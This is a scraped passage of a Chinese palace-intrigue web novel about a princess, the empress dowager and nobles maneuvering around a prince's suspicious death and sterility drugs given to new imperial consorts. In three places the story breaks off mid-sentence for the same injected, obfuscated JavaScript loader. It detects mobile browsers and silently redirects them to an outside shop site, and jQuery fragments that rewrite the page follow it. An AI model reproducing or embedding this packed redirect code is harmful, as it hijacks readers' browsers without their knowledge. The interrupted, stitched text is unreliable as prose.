四面通风的水榭内，萧抒抱着双臂，不由自主地打了个寒颤，“没想到才十一月中旬，天气就已这般的严寒。各位啊，我们真的不去屋中烤火吗？非得在这儿吹着冷风看秃景？”
玉壶倾茶，云雾袅袅升起，茶香瞬间弥漫，啜饮一口，唇齿间留下悠长余香，身体也随之温暖起来。
司空颢眯缝着眼，神色悠然，“沁澜即将回宫，宁安宫内满是冰冷的奢华，此处至少宽敞明亮，气息清新。你再忍耐片刻吧。”
“真是的！若非你骑术生疏最后才到，还差点失控，溅了我们一身尘土与花瓣，我们又怎会这么早被困在这里，看这单调无味的雕梁画栋。司空，你近来太过沉浸于医书，骑射功夫该加强了，以免将来若遇战乱……”
话未说完，萧抒便连连拍了几下自己的嘴，“乱讲些什么，真是的……”
“狗嘴里岂能吐出象牙？”司空颢调侃道。
“也就是你，换作旁人敢对萧家之人胆大妄言，早就乱棍打死了。”
司空颢也不含糊，笑着起身行礼，“多谢宁郡王海量包容。”
萧沁澜心情甚佳，嘴角挂着淡笑，目光懒散地扫视四周，饶有兴趣地聆听二人交谈。
垂落的衣袖忽然被人轻动，她低头顺着手臂望去。
蔫润知见她注意，便松开了手，未再靠近，转而为她换了杯茶，心中郁结，声音失落，但表面仍故作自然，“茶水稍烫，暖暖手吧。”
“……好。”萧沁澜点头应下。
之前已直白拒绝过多次，再次当面说明，怕是会彻底伤了人心。
得人心者方能得天下，这道理亦适用于情感。
她温婉一笑，待蔫润知退开，才缓缓端起茶盏。
三日之期紧迫，陆承韫心情同样不佳。
他抿着薄唇，指尖轻敲桌面，声音低沉，节奏不一。
司空颢心思细腻，顺势转移了话题，“沁澜，前日你救下的那位南门姑娘，此刻是否还在府中？”
萧沁澜无奈叹息道：“南门姑娘体弱多病，连骑马赏景都承受不起，故而我便安排她在客房静养。”
司空颢道：“到底是伯爵千金，你总不能一直庇护于她。待你今日回宫，有何打算？”
此言一出，几人集中了注意力。
萧抒单手托腮，眉头紧锁，“这确实棘手。我们都是男子，不论嫡庶，人家终究是伯爵千金。
贤昭救她之事众人皆知，虽百姓不知具体是谁，但兴安伯这几日的异常举动足以让人联想。
加之我们频繁来访，名义上是陪贤昭散心，说得难听了可能引起非议。御史台或许会以我们轻慢官家之女为由参上一本。”
有了话题，陆承韫回过神来，在旁补充，“即便是沁澜你，我们几个男子频繁造访，也难免授人以柄。”
“确实，公主与普通官家女子终究有别。”
萧抒边说边胡乱揉了揉脑袋，“真烦心，最近只顾着享乐，竟忘了朝廷那些官员正时刻盯着我们。你说当时怎么就没提议两人共同竞争那位置呢？现在可好，我们几个皆成了陛下眼中的刺。”
此话不假，司空颢面露忧色，“听说最初只定了润知与陛下。
但因陛下并非国姓，故而又加上了你和靖郡王。
这‘四’数字，历来被视作不祥，引人忌讳。随后，太傅提议加入我。
承韫作为国公府的嫡次子，是国公爷力排众议送进文华殿的。我原以为，是国公爷心怀愧疚，未料后续……”
无需多问，定国公对这位嫡次子的不喜，世人皆知。
承韫性情温和，举止谦逊，颇具世家子弟的风范。
可无论是朝会抑或是政务处理，他总对承韫冷眼相待，从不在人前给予半句好评。
如今新朝建立仅四年，京师为官者皆已历练得心思缜密，对定国公的偏袒之心洞若观火。
自然而然，他们对他多了几分怜悯之情，但这仅是浅尝辄止的同情。
若真有变故，众人不过是叹息几声，无人愿涉足其中。
此乃人性使然，无可指摘。
气氛莫名变得沉重，恰在此时，一则沉重的消息传入府邸。
“靖郡王归来了？竟患上了风寒？”
蔫润知闻言猛地站起，初时面露喜色，转瞬便凝重起来，“是啊，凉州偏远且遭遇严重雪灾。靖郡王定是因心系国事民生，屡屡外出视察，方染此病。”
来了啊。
水榭之内，萧沁澜端坐于席，凝视着那灰暗的天际，静静品茶。
同窗共读两载，陆承韫并未置身度外，与众人一同聆听这突如其来的讯息。
文叔讲述完毕，陆承韫回首望了望身后，便倚柱而立，目光低垂于地，环住双臂，而眼角余光始终未离那靓丽的身影。
殿下下手，实在是优柔寡断，到底留了一命。
文叔长叹，好似惋惜道：“凉州天寒地冻，安顿灾民实非易事，就算未染疾病，这气候骤变与身心疲惫也足以让人倒下。
听说靖郡王一路奔波，未曾稍歇，这样紧迫的行程，常人难以承受，更遑论贵为皇室。”
司空颢问：“靖郡王此刻在何处？病情如何？”
“王爷已返回京师，稍作休整后，便于今日午后先行入宫，向陛下与太后禀报了凉州之事，并在宫中用膳后方归。据悉，只是轻微的风寒之症。”
萧抒与靖郡王虽仅有文华殿一年的交往，不甚亲密，但同为皇室血脉，且靖郡王功勋卓著，自应进府看望。
萧抒道：“既是同僚，改日我们选个吉日，一同前往探望。”
蔫润知立刻应允，询问了相关事宜，具体细节。
一番交谈后，时近申初，回宫时辰已至。
府邸大门前，萧沁澜登上马车，回头朝几人笑笑，步入车内离去。
马车启动，蔫润知注视着那渐行渐远的背影，下意识迈出几步，却被一股强大的力量猛然拉回现实。
他恍若初醒，转身回望。
“该回府了。”陆承韫简短说道，瞥了一眼身后府邸的大门，转身便踏上了马车，未有丝毫犹豫。
几人早已达成共识，不再介入两人的情感纠葛，司空颢与萧抒亦无多话。
客气告别后，迎着夕阳的余晖，马车分道扬镳，朝着相反的方向驶去。
＆
回到皇宫，萧沁澜率先前往太后宫中请安，道出了这几日简短安排，继而返回宁安宫。
天色初暗，
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13404393|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
她便沐浴更衣，准备前往寝殿审阅暗卫最新呈报的事务，早些歇息。
本采神色匆匆步入，立于床前，眉头紧蹙，“主子，陛下不知为何，突然向这里而来。奴婢未曾预见，现已至长街尽头，即将入院。”
“无人阻拦吗？”萧沁澜淡然自若地翻阅信件。
“陛下亲临，旁人怎敢阻拦。”见她满不在乎，云淡风轻，本采紧张之情稍减，语气也柔和了些，“主子，这些信件可已阅完？是否需要奴婢即刻焚毁？”
“不必。男女有别，即便是天子亦应恪守。他明面上不会太过唐突。”萧沁澜细细读完信件上的每一个字，方起身穿鞋，将那张薄纸投入炭盆之中。
火光四射，斑驳陆离地闪烁着，映照在她舒展从容的面容上。
“靖郡王表现尚可，将原先贪下的银两悉数赠予灾民，未私藏分毫。”
“他竟会有这种善行？”本采随着她的步伐移至炭盆旁，拨弄着炭火，满是惊异。
“人性善恶，本就难以分辨……”
萧沁澜坐在椅上，凝望着逐渐黯淡的火光，“靖郡王虽不善武，但注重强身，学过几式拳脚。潜隐之时，多居后方。
往昔身为少爷，未曾目睹因灾祸流离失所，或不幸罹难的百姓。而今仅靠俸禄度日，心生贪念亦在情理之中。
幸而他能自制，本宫便未加干涉。此番经历，让靖郡王深切体会到百姓疾苦，重拾初心，算是可交之人。”
“是可浅交。”本采点头应和，“靖郡王懂得藏拙。贸然宣扬自己捐钱，虽能赢得民心，却也易招致陛下与太后的猜忌，毕竟靖郡王收成几何、有多少铺子皇室调查皆知。难怪今日午间提及凉州之事时，未涉及此节。”
“他是个有野心的人，但同时也有底线。
现在‘不幸’染上风寒，恐怕身体会因此虚弱许多年，难以再有精力去争取其他地位。”
萧沁澜抚平中衣上的褶皱，吩咐道：“务必找个好太医，让靖郡王能安心养病。虽然无法再生育子嗣，但凭借他的这份功劳，足以保他一生荣华富贵，这也是对他的一种恩赐了。”
“是，奴婢定当竭尽全力。”
炭火噼啪作响，为屋内增添了几分温馨，暖意融融，让人忘却一切烦恼，只想沉浸在这份安宁之中。
等待了大约半个时辰，终于有宫娥前来禀报殿外的情况。
本采听后摇了摇头，自言自语道：“也不知陛下心里是怎么想的，就这样站在风口上，既不进来也不留句话，真是让人琢磨不透。”
确实令人费解。
萧沁澜微微挑眉，手指无意识地在衣裙上摩挲着。
短短三日之内，究竟能发生什么呢？
这深宫之中，她与陆墨凌并无太多交集。
太后那边盯得紧，乾清宫的人手更是不能随意调动。
“人之动作，总有目的，哪怕它看似微不足道。明日我再去慈宁宫一趟，探探情况。”
＆
一夜寂静，次日清晨方起身，便见玉阶已被皑皑白雪覆盖，殿外一派清寒景象。
瑞雪再度降临，漫天飞舞，犹如天界洒落的玉露琼浆，点缀于亭台楼阁与宫殿水榭之间。
此时前去请安已不可能。
因这场雪来得太过突然，太和殿内空无一人，太监们只得辛苦奔波，一大早就前往各府邸传达消息。
萧沁澜难得享受这片刻的闲暇，与本采闲散自得地在屋内对弈五子棋，眼倦之时便踱步至廊下，赏那梨花枝头挂雪，听那雪落“簌簌”之声。
这场雪断断续续连绵五日之久，天地间尽是一片雪白苍茫。
目之所及，仿佛在为即将到来的风云变幻默默哀悼。
宁安宫内气氛凝重，萧沁澜紧握着一张信纸，双手颤抖，终是将那承载生杀大权的薄纸猛然揉成一团，狠狠掷于地上。
本采不可置信，“靖郡王……怎么会死呢？那可是最好的伤药！最好的医师！”
“去查！不惜一切查！”
“是！”本采正欲离去，见她神情愤慨，努力平缓情绪劝慰道：“主子莫要伤心，一切皆是太后太过心狠！与主子无关！”
“……嗯。”
哎！
本采心有不忍，叹息着快速远去。
待她走后，殿内只剩一人。
萧沁澜捻起那张纸，眼眸渐深，语气平静道：“安心去吧，你的身后名，本宫会牢牢保下。”
51. 落棋不可悔
“逝世了？”
乾清宫中，萧墨凌翻阅着臣子刚刚呈上的奏折，一瞬不瞬，卓然而坐的身影有一瞬颤抖，神情满是不可置信，语气中透出浓浓的震惊与愕然。
此次凉州赈灾，靖郡王立下赫赫战功，于民间深受爱戴。
两人曾同为备选东宫，同在文华殿学习策略，且靖郡王身负国姓，自己原本对靖郡王的表现虽感满意，却也心存忌惮。
但皇位已定，非朝夕可变。
宫中本就气氛沉重，处处压抑，不可犯错。
自己不能公然斥责，若朝野内外再议论纷纷，即便是私下里的玩笑话，也足以令人心生畏惧。
谁不渴望成就一番伟业，留名青史？
然而……
萧墨凌猛地将折子掷于桌上，抬眼冷冷地扫视着下方，“是因何故去世？抑或是因病辞世？太医院不是悉心照料吗？就是这样对待皇室亲王的！他们呢！都死了！为何不进宫谢罪！难不成是有人特意包庇不成？这天下到底是谁的天下！”
此言一出，跪拜一片的太监们瑟瑟发抖，额头紧贴地面，无人敢率先开口，只不断支支吾吾请罪。
“这……奴才……奴才……”
胆战心惊，畏缩不前。
这一幕令萧墨凌烦躁不已，他挥手示意，“都退下吧。”
没好气的简短几字，对小太监们而言却宛如天籁。
他们急忙齐声回应“是”，随后纷纷躬身退出乾清宫，步伐谨慎。
殿内仅余萧墨凌与大太监二人。
“你认为……此事可是太后所为？”
大太监手执拂尘，恭敬而立，听后稍作思量便道：“依陛下所言，靖郡王似乎风寒未愈，病情沉重。加之长途跋涉，几无停歇方逝世。现下大局已定，心绪安定之下身体骤然放松，也是常情。”
“虽是常情，却非必然。”
“哎呦，这……”大太监目光闪烁，眼珠滴溜溜转悠，环顾这空旷的殿内含糊其辞，“陛下所虑，亦非全无道理。”
萧墨凌知晓他的顾虑。
自入宫以来，二人言语间已不复在国公府时的直率与坦诚。
如今只能借这微妙言辞，抒发内心的不满与愤慨。
思及此，更觉无趣。
若靖郡王确为自然辞世，尚可接受。
但若为太后下手，背后到底藏了何种深意？
实难揣测。
总不至于仅是警醒他。
宫中无人可诉衷肠，处处受限。
再过两日，还得应付那两个嚣张且心术不正的女子。
萧墨凌的额头愈发沉重。
他伸手用力按压着眉心，声音疲惫不堪，“沁澜今日在忙些什么？”
见他忧愁，大太监心中五味杂陈，既酸楚又心疼。
他年岁已高，自幼便看着陛下成长。
那个曾经恣意不羁的陛下，现下却变得处处小心、时时谨慎。
大太监柔声细语道：“公主殿下今日用完早膳后，便一直留在宁安宫中，未曾外出。”
“太后未传唤沁澜吗？”
“太后娘娘或许是累了。今日下朝后，连乾清宫都未踏足，正在慈宁宫休憩。”
“休憩？还是避开？”
“陛下……”大太监欲言又止。
萧墨凌话一出口便觉懊悔，他紧闭双眼，“朕这脾气，怕是难以迅速改变。此消息方才由太监传入宫中，想必众臣尚不知情。这样说来……”
他缓缓睁开双眼，垂首凝视着手中的问安折子，眼神微眯，手指轻轻敲击桌面。
恰在此时，殿门外传来小太监悠长而清晰的通报声：“太后娘娘驾到——”
声落，大太监从容不迫地上前，整理御案上稍显散乱的奏折，低声劝慰，“太后此刻亲临，应是闻讯而来，欲共商对策。”
萧墨凌整理好衣襟，抬眼望向那厚重的殿门，面上的厌恶与轻蔑愈发加深，“此事，大约是个意外。”
＆
雪花轻盈飞舞，宛如天降瑶花，将原本庄重的慈宁宫装扮得晶莹剔透，犹如玉宇琼楼。
红墙与白雪交相辉映，檐角悬挂的冰凌随风轻摆，发出清脆悦耳之声，既美不胜收，又暗藏危机。
庭院内，积雪厚实，踏上去发出“嘎吱嘎吱”的声响。
宫女太监们身着鲜艳冬装，手持扫帚，在院中往来穿梭，专注地清扫着积雪，身影忙碌而有序。
厚重的门帘隔绝了外界的寒冷，碳炉中火焰跳跃，“噼里啪啦”作响，温暖舒适。
萧沁澜步入室内，脱下披风向凤榻上的太后行了一礼，“母后安康。”
太后放下手中的棋子，笑容满面地向她招手，“贤昭来了，哀家正与琉薇念着你呢，没想到这就到了，真是巧。琉薇，快上茶，外面冷，再拿个手炉给公主，最好是雕着花纹。”
琉薇应声退下准备。
室内侍立的宫娥稀少。
萧沁澜眉目弯弯，瞧着温软柔弱。
走近时余光不动声色地打量一番，自然地与之相对而坐，笑靥如花道：“往常见母后总是忙于政务，眉头紧锁，许久未见您这般的闲适了。
想来儿臣不在的这三日里，母后定是有喜事相伴吧。”
“宫内一片宁静，死水一般，能有何等喜事？”
太后端坐于凤榻之上，指尖摩挲着白子，淡然言道：“琉薇棋艺尚浅，此局已近绝境。沁澜心思细腻，看看可能寻得转机。”
“母后过誉了。”
萧沁澜眼眸漆黑，语调平和而略带上扬，闲散道：“母后治理下的明昭王朝井然有序，深得朝野内外、百姓之心。儿臣愚钝，若能习得母后万一之细心，亦不至于至今无所助益，空享百姓供养。”
闻此言，明远太后放下棋子，目光与她直直交汇，“贤昭身为萧氏皇族唯一正统血脉，太祖亲赐‘昭’字封号。即便国家无虞，天下亦当敬奉。”
言罢，她轻叹一声，宛如慈母教诲，“贤昭懂得心疼百姓，与下人和睦，自是好事。不过亦需把握分寸，以免引人非分之想。”
“母后教诲的是，儿臣铭记于心。”
萧沁澜稍稍点头，拾起一枚白棋随意置于棋盘上，“儿臣曾有征战经验，对御下之道略知一二。但同辈间的相处之道，却始终拿捏不准。
此番出宫祭拜兄长，偶遇醇亲王、陆二公子、司空公子，乃至……”
她稍作停顿，神色自若续道：“宁郡王等人，皆来相约共游京师。
当时儿臣未及多想，毕竟他们皆是男子且身份尊贵。而今细想，确有失分寸之处。
恳请母后赐教，如何既能保持身份，又不失本心。”
殿内侍奉的宫娥们听罢心头皆是一震，连忙将头垂得更低。
明远太后行若无事，沉稳地落下黑子，使得原本清晰的棋局再添变数。
“定国公家现下只有一独子，陆承韫性情温良，与你相交多年，此事众人皆知，无人非议。司空亦是。”
太后目光转向她，“润知乃大长公主之后，性格虽有些倔强，不爱那些弯弯绕绕，但总体尚可。至于宁郡王与靖郡王，他们皆冠国姓，细究起来却并不属宗室直系。”
分析
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13426213|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
完利弊，她一锤定音，“男女有防，地位有别。贤昭之后务必谨记自己的身份。”
萧沁澜笑着点了点头，眼底深处却盈满幽暗。
尽管在此地已近二十年，她骨子里的教育却并非心狠手辣，用“淡漠”二字形容更为贴切。
斩草不除根，春风吹又生，此理无人不晓。
但若被逼至无情无义之境，她……
“贤昭……”明远太后突然打断了她的思绪，指向棋盘，“勿要分心，哀家已落子，轮到你了。”
萧沁澜紧抿双唇，指尖拈起一枚白子，注视着那黑白交错的棋盘，沉思许久。
约莫半盏茶时间后，她终于下定决心，将白子置于棋盘最不起眼的边缘。
明远太后并未催促，反而笑出了声，“落棋无悔，你可想好了？”
“是，落棋无悔。儿臣能力有限，仅此而已。”
太后摇了摇头，随即以黑子直接围住了她的白棋，“你可是要输了。”
黑子落定，棋盘上的局势再次紧张。
“累了。”明远太后在宫女的搀扶下站起，“今日天寒地冻，恰逢此景如诗如画，身处其间，难免觉得祥和安宁，心绪也随之平静下来。”
她步至屋门前，望着纷飞不止的雪花，笑道：“不错，瑞雪兆丰年。今日就在宫内支起炉子吧。贤昭，你也留在慈宁宫，用完膳再离去。”
萧沁澜紧随其后，闻言点头，慵懒恭顺间，自带长居高位的疏离，“一切遵从母后之意。”
＆
晚膳结束后，定国公府的烛火辉煌。
陆泽唤住了正准备离去的二儿子，将手中的信纸抛给他，负手而立，看着颇为自得，“看看，有何感想？”
这是陆墨凌登基以来，他首次让陆承韫涉足朝政之事。
无需细阅，他便能明了信中所写内容。
装了这么多年听话，他驾轻就熟，接过信纸后佯装仔细研读，面容转瞬因故作深沉而显得格外凝重。
“靖郡王因风寒侵体，病情急转直下，终至高烧不退，不幸离世？”
寥寥数语，陆承韫反复翻阅数次，抬眸望向陆泽，疑惑道：“此事怎会这样的突然？父亲告知于我，可有何差遣？”
还算有些眼力见儿。
儿子身为天下共主，却腹背受敌，家族内外必须竭力应对。
陆泽见他心领神会，便不再拐弯抹角，直接问道：“你以为，此事是偶然之祸，还是早有预谋？”
陆承韫当年跟随他们潜野之时，也曾多次奇袭敌军，此时自然不会装聋作哑，敷衍了事。
他沉吟片刻，才道：“凉州雪灾肆虐，听闻靖郡王仁心宅厚，常独身探访难民。加之路途遥远，车马疲惫，近日京师又有大雪再袭。常年赋闲的人一时撑不住，也是常理之中。”
“兵部众人亦是此见。”陆泽点头应和，“靖郡王并未妨碍任何人，他之死乃顺其自然，天命所归。”
“父亲既已洞悉，可有要事需孩儿效劳？”陆承韫不愿与他废话，直截了当询问。
陆泽也无意冗谈，见他明理，颇有些意外多看他一眼，心里又满意几分，
“旬日之后，贤妃与祥妃将入宫。二人品性不良。明远太后将此二女赐予凌儿，警示之意昭然若揭。太后为女子，且无强援娘家，更无子嗣傍身。”
“所以……”陆承韫挑眉，语气不急不躁。
陆泽傲然而立，“我儿凌儿乃九五之尊，此等粗俗女子怎堪为我陆家延续血脉。然其姿色尚可，留作玩物便好。你明日向司空求取两剂绝子汤，务必彻底有效，一劳永逸。”
52. 大力推动生产力
定国公府西院内，烛火摇曳映照人影，陆承韫端坐于书案后，提笔疾书。
元栖在一旁焦急地踱步，双手不断连拍，口中喃喃自语，“国公爷怎能如此行事呢！
什么‘凌儿’，什么‘我们家孩子’地乱叫，也不顾现今陛下姓氏为何，太后又是如何在前朝后宫中掌权的！
哎，连个暗卫都安插不进去，他还做着不切实际的美梦。
国公爷莫非真以为能与太祖皇帝比肩，得陛下追封殊荣不成？怎会这样的愚钝呢？公子觉得呢？”
“嗯，说的是。”陆承韫心不在焉，神情郑重地随意敷衍。
见他附和，元栖继续念叨，“如今天下承平，百姓安居乐业，路不拾遗，犬不夜吠。陛下若能安心听从太后，做个顺从的明君，史书上定能留下他的美名。
国公爷何必总要插手国事，搅动风云呢？若京师因此生乱，他又能得何益处？”
“一切所求，无非权利与身后的名声罢了。”陆承韫搁笔淡然道，静待宣纸上的墨迹风干，“除西院之外，你今后言谈务必谨慎。”
“奴才明白了。”
元栖心疼自幼相伴的主子，却懂得尊卑有别，闻言即刻躬身行礼，随后恢复常态，“奴才只是觉得，国公爷似乎过于偏颇。
兵部尚书身为正二品重臣，而定国公更是太祖皇帝亲封，已拥有显赫权势，却仍想要图谋更多。
若真的得手，宫中陛下恐将独揽大权，真正凌驾于万万人之上。
树大招风，若稍有差池宫中的陛下或许无虞，但公子恐受国公爷牵连，性命堪忧，甚至可能遭遇五马分尸之祸，难以安息。
届时为保皇家颜面，正史对陛下出身只字不提，仅留野史几笔。
思来想去，真是不公！”
这番话可谓是对对众人皆大不敬，包括陆承韫自身在内，但他外出行事向来稳重，心中有数，从不轻易在人前多言。
若周遭尽是奉承与刻板回应的属下，人生难免感到孤寂。
不过以下犯上的有这么一个便够了。
忽而想起某事，陆承韫笑着摇了摇头。
沁澜身边那位本采，好像同样以直率著称，两人性格倒是有诸多相似，宛若天生一对。
“公子，您刚才是否在思念公主殿下？”元栖挑眉揶揄道。
自幼相伴至今，见他无意识地展露宠溺笑容，岂能不知他心中所想。
“很明显吗？”陆承韫身姿挺拔，目光深深地望向他，笑意在听完此言后悄然收敛。
“怎么可能……”元栖故意拖长尾音，嘴巴夸张地张合，“公子您何等人物，闭月羞花，光风霁月，俊秀飘逸，超凡脱俗。应是姑娘们思念您才对，哪需您挂念其他姑娘呢！”
“休要胡言！”陆承韫笑着将纸张叠好，轻轻掷向他。
元栖连忙接住，再次瞪大眼睛夸张地道：“公子真是厉害！区区宣纸，竟能这般精准地投向我这奴才，真是让人叹为观止，佩服不已啊！”
“好了，原谅你方才的直言不讳。”陆承韫双手负在身后，神情既愉悦又无奈，“将这封信仔细封好，交给初语楼的管事姑娘。”
“遵命，奴才定会将公子的意思一字一句、仔细转达。”
“随你安排便是。”陆承韫似被他弄烦，笑着挥了挥手。
待元栖即将踏出房门，他忽然想起什么，“哦，对了，你告诉沁澜尽快给我答复，切勿忘记。”
元栖停下脚步，转身应道：“是，公子。”
又待了一息，见陆承韫无其他吩咐，元栖便转身离去，走出院落，边走边摇头感慨。
公子真是苦命，有夫人却不能公之于众，只能私下相会。
这夫人又才华横溢、文武双全，且身份尊贵。
将来若真与公子结为连理，只怕公子得被治理的妥帖听话。
唉……看来，自己也只能多装糊涂，才能让公子心里好受些。’
＆
靖郡王因亲赴凉州赈济雪灾灾民，沿途历经舟车劳顿，事事亲力亲为，不辞辛劳。返京后不幸感染风寒，病情日重，终至不治而逝。
为表彰靖郡王功德，朝廷特定谥号为文治靖亲王，追加封地，于智渊元年十一月二十一未时正，将其灵柩安葬于皇家陵墓之中，以示哀荣。
整场葬礼规模宏大，历时数日几夜，京师内外，百姓官员皆着素衣，全城静默，禁止一切舞乐奏响，以寄哀思。
……
宁安宫内温暖如春，精致的碳炉不时发出“噼里啪啦”的细微声响，火光灼灼，持续而稳定地燃烧着。
“除此之外，朝中暂无要事，眼下已入十二月，应下的雪也已纷纷扬扬。外省尚未有雪灾的消息传来。哦，对了……”
本采放下拨弄炭火的钳子，转过身来说道：“因亲王葬礼之故，妃嫔入宫并未大肆铺张，仅以一顶装饰红花的八抬大轿，将贤妃与祥妃接入宫中，极为低调。”
“兴安伯乃前朝重臣，虽无显赫战功，却眼光独到，擅长择木而栖。”
萧沁澜慵懒地倚在贵妃榻上，翻阅着游记，回应道：“祥妃之父虽同为伯爵，却性格怯懦，难怪其女入宫后地位不显。”
“主子，奴婢愚钝。德伦郡主德行有亏，太后与陛下却偏偏赐以‘贤’字封号，这分明是对兴安伯的警示。但奴婢听闻暗卫所言，兴远伯对此非但不以为意，反而沾沾自喜。”
本采一脸困惑，“这样的人，竟能在乱世之中与圣德皇后母族联姻，真是令人费解。”
“京师喧嚣，繁华扰人心。立于高塔之上，满眼皆是金玉辉煌，却难以窥见背后的疾苦与挣扎。”
萧沁澜随意翻过书页，缓缓言道：“四年的安逸富贵，早已将那份本就不易的纯真善良，彻底侵蚀殆尽。”
“主子的意思该不会是说，兴安伯府并未明白陛下与太后的深层意图？反而觉得所受恩宠理所应当，无愧于心？”本采面露愕然。
“他们本就胸无大志，这些年凭借手中权势害人不浅，却能逍遥法外，怎会不骄横自满？”
言及此处，萧沁澜神色微敛，目光落在手中璀璨的珠花上，“女子于世立足本就艰难，兴安伯府既无男丁支撑，又是个不争气的，本宫便疏忽了监督，以致众多无辜女子受害……”
“主子，您又陷入自责了！”
本采连忙提高声调，“明昭王朝疆域辽阔，要在太后眼皮子底下掌控大局，本就难如登天。
更何况您已为天下多数女子开辟了一条生路，让她们免于出生即被遗弃的命运，这已是莫大的功德。京师之地，谁能料到德伦郡主会这样的狠毒呢。”
“你不懂。”萧沁澜放下书籍，温婉一笑。
士农工商，商位居最末。
普通百姓所求不过是温饱，而心怀壮志者，更是不惜倾家荡产，供子弟读书应试，期望一朝金榜题名，光宗耀祖，摆脱阶级束缚。
然而无论是田间劳作还是店铺杂役，就算这些工作能创造价值，却鲜有女子的一席之地。
缺乏就业机会，直接导致女子地位低下，甚至不及牛马。
绣庄、设计图样，这些细腻活
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13437666|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
计本应适合心思细腻的女子，但前提是需要财力和人脉的支持。
男女平等、社会公正，绝非空喊口号所能达成。
要实现如她所来自的世界那般，男女皆可自由进入的免费书院，仅凭强制手段远远不够。
首要任务是转变封建时代女性的思想观念，进而影响那些身居高位的学者官员。
在这个技术落后的时代，她无力逐一改变每个人的想法。
目前能做的，是先确保女孩们的生存权利，提升她们的生产能力，让她们成为家族新的希望之光。
三岁至十四岁期间，提供免费食宿。
十四岁后，收入将分为两部分。
一部分作为工钱寄回家中；另一部分为奖金，不定时发放，供她们自行支配。
至于女学、女子参与科举及为官，在自己这短暂的一生中，恐怕难以实现，只能从最底层的商贾之路起步。
这样未来商界就算尽是女子，文人墨客与官员们至多会轻叹一句“抛头露面，有失体统”，随即便会淡忘。
人人拥有财富或权力，乃是迈向平等的首要之步。
不过，终究还需循序渐进。
萧沁澜再次翻开游记，思绪复杂，反复考量着自己的所作所为。
“奴婢怎会不懂。”
本采继续拨弄着那无烟的炭火，“奴婢跟随主子近十年，虽永远难以揣度主子的深邃思绪，但基本道理自是了然于心。
初语楼虽未详数新入女子，但从它遍布大江南北的盛况推测，人数必是蔚为壮观。由此便知，主子功德无量。
至于珠品楼与布锦坊的新式样，近期最为畅销的竟出自一名七岁女童之手，略显稚嫩，却满载创意。主子真乃高瞻远瞩。试想，明昭王朝若无主子，将何以堪？”
萧沁澜对恭维之语早已司空见惯，她目光专注于书卷，“本宫不过一介凡人，善恶并存，并无你所言的那般超凡脱俗。”
“主子怎会自视为普通人呢？”
本采瞠目结舌，震惊不已道：“主子可是当今贤昭公主殿下，太祖皇帝与圣德皇后的嫡出血脉，世间最为尊贵之人。
就连当今太后与陛下亦难及公主之尊贵。若无公主殿下在宫中坐镇，那些老臣恐怕早已谋反。又怎能让太后稳坐朝局四年之久，还有余力清理异己？
主子您可知您的地位何其重要！”
“知道了，快烧你的火吧，再说下去，你主子我都要飘飘然，以为自己是仙人了。”
“……您又没往心里去。”本采嘴唇微动，最终还是忍不住嘀咕了一句。
“真是胆大包天。”萧沁澜摇头轻笑，转而问道，“德伦郡主此次入宫，可曾饮下那绝子药？”
言归正传，本采面色一凛，认真答道：“二公子不会那么傻，将把柄随便示人。
他自己偷偷拿到无色无味绝子药后，便下在了德伦郡主常去的望月阁，悄无声息，事后亦无任何异常。
我们的医师已入府为郡主诊脉，确保贤妃日后无论得宠与否，都将无法生育。”
“嗯。”萧沁澜点头，继而抬眼直视她，“祥妃呢？”
提及祥妃，本采的面色更加肃穆，“祥和县主心思深沉，且背后有兄长撑腰。他兄长无显赫官职，但为人圆滑。
太后初拟二人之时，祥和县主便已察觉不妥。毕竟德伦郡主的凶名在外，人尽皆知。因此她这段时间行事极为低调。”
“低调……”萧沁澜若有所思，“一个惯于弑杀之人，又怎能真正低调。这样的隐患，该连根拔起才可。”
53. 都搞个替身，替身好啊…… 连……
时值隆冬腊月，天寒地冻，万物银装素裹，草木尽藏。
德伦郡主与祥和县主清晨即起，细心梳妆。
她们头戴华丽凤冠，身着锦绣宫装，步摇轻摇，浑身散发着璀璨光芒，满溢着年轻朝气。
京师街道两侧彩旗招展。
龙凤辇中，二人端庄而坐，由着宫中仪仗缓缓步入宫殿。
沿途宫灯高挂，红毯铺就，殿内陈设更是非凡。
花鸟画屏栩栩如生，金丝楠木博古架古朴典雅，紫檀龙凤纹立柜威严庄重，金漆点翠玻璃围屏璀璨夺目，黑漆描金五福云纹靠背椅尽显尊贵……
每一件器物皆选材上乘，工艺精湛，无不彰显着皇宫的金碧辉煌，以及新帝对这两位妃子的重视。
因靖郡王新丧，宫中并无鼓乐齐鸣、笙歌曼舞之景，氛围更显肃穆。
时光荏苒，转眼日已西沉，时至酉时。
……
